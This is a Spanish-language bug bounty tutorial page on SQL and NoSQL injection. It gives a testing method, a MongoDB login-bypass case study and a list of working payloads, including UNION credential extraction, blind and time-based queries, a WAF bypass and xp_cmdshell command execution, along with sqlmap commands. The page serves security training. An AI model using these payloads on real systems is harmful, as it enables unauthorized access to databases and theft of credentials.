SQL & NoSQL Injection
Inyección de consultas en bases de datos
Respuesta rápida
¿Qué es SQL & NoSQL Injection?
La inyección SQL/NoSQL permite manipular las consultas que la aplicación envía a la base de datos. Puede extraer datos, bypassear autenticación, modificar registros o incluso ejecutar comandos en el servidor.
Severidad
Crítico
Frecuencia
Común
Payloads
12
Pasos
6
Severidad
Crítico
Frecuencia
Común
Payloads
12
SQLi ocurre cuando input del usuario se concatena directamente en consultas SQL sin sanitizar. NoSQLi aplica a bases como MongoDB, donde operadores como $ne, $gt, $regex pueden manipular consultas JSON. Ambas pueden llevar a extracción total de datos.
Dónde buscar
Login y registro
Los campos username/password son el vector clásico. Prueba ' OR 1=1 -- en cada uno.
Búsqueda y filtros
Parámetros search=, sort=, order=, filter= que se concatenan en la query.
IDs numéricos
?id=1, ?page=1, ?category=5 — cualquier número que va directamente a un WHERE.
Headers loggeados
X-Forwarded-For, Referer, User-Agent — si se guardan en BD, pueden ser vectores.
APIs JSON con MongoDB
Operadores $ne, $gt, $regex en campos de filtro. Muy común en APIs Node.js + MongoDB.
Metodología
Identificar inputs a BD
Busca campos que probablemente interactúan con la base de datos (login, búsqueda, filtros, IDs).
Inyectar carácter de quoting
Envía ' o " — si recibes un error SQL en la respuesta, ya sabes el tipo de BD.
OR-based bypass
Prueba: ' OR 1=1 -- para bypass de login. Si funciona, la app es vulnerable.
UNION-based extraction
Determina el número de columnas: ' UNION SELECT null,null,null -- (incrementa nulls hasta que no de error).
Blind detection
Si no hay output: ' AND 1=1 -- vs ' AND 1=2 -- — si las respuestas difieren, es blind SQLi.
Time-based blind
' AND SLEEP(5) -- — si la respuesta tarda 5 segundos, confirma inyección blind.
Caso real
NoSQL Injection en login → Extracción de contraseña char por char
Detectar NoSQL backend
La API responde con errores de MongoDB cuando se envían caracteres especiales en el login.
Bypass de autenticación
{"username": {"$ne": ""}, "password": {"$ne": ""}} — devuelve el primer usuario (admin).
Extracción con $regex
{"username": "admin", "password": {"$regex": "^a"}} — si login exitoso, la contraseña empieza por "a".
Script de extracción
Iterar caracter por caracter: ^a, ^ab, ^abc... hasta obtener la contraseña completa.
Lección: MongoDB no es inmune a inyección. Los operadores de query ($ne, $regex, $gt) son el equivalente de SQLi en NoSQL. Siempre sanitiza los operadores en inputs JSON.
Payloads
SQL — OR bypass
' OR 1=1 --
SQL — Comment bypass
admin' --
SQL — String equals
' OR '1'='1
NoSQL — Not equals
{"username": {"$ne": ""}, "password": {"$ne": ""}}NoSQL — Regex
{"username": "admin", "password": {"$regex": ".*"}}SQL — UNION basic
' UNION SELECT null,null,null --
Payloads avanzados(requiere cuenta)
UNION extract users
' UNION SELECT username,password FROM users --
Blind boolean
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
Time-based blind
' AND IF(1=1,SLEEP(5),0) --
WAF bypass — inline comments
/*!50000UNION*/+/*!50000SELECT*/+1,2,3
NoSQL regex extraction
{"password": {"$regex": "^a"}} → ^ab → ^abc → ...RCE via xp_cmdshell
'; EXEC xp_cmdshell('whoami') --Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
sqlmap
Herramienta automática de detección y explotación de SQL injection.
sqlmap -u 'https://target.com/search?q=test' --dbs --batch
NoSQLMap
Automatiza la detección y explotación de NoSQL injection en MongoDB.
python nosqlmap.py
Burp Intruder
Fuzzing manual con wordlists de SQLi para detectar inyecciones.
Positions → payload en campo vulnerable → SQLi wordlist
Tips
Los errores SQL son oro
Si ves un error de MySQL/PostgreSQL en la respuesta, ya sabes el tipo de BD y puedes adaptar tus payloads.
NoSQL es igual de vulnerable
MongoDB con APIs JSON acepta operadores como $ne, $gt, $regex. Pruébalos en campos de login.
Second-order SQLi
El payload se inyecta en registro y se ejecuta en otro lugar (panel admin, exports). Muy difícil de detectar pero impactante.
sqlmap con request guardado
sqlmap -r request.txt --dbs — usa un request de Burp guardado para mayor precisión.
Contenido relacionado
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica SQL & NoSQL Injection con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.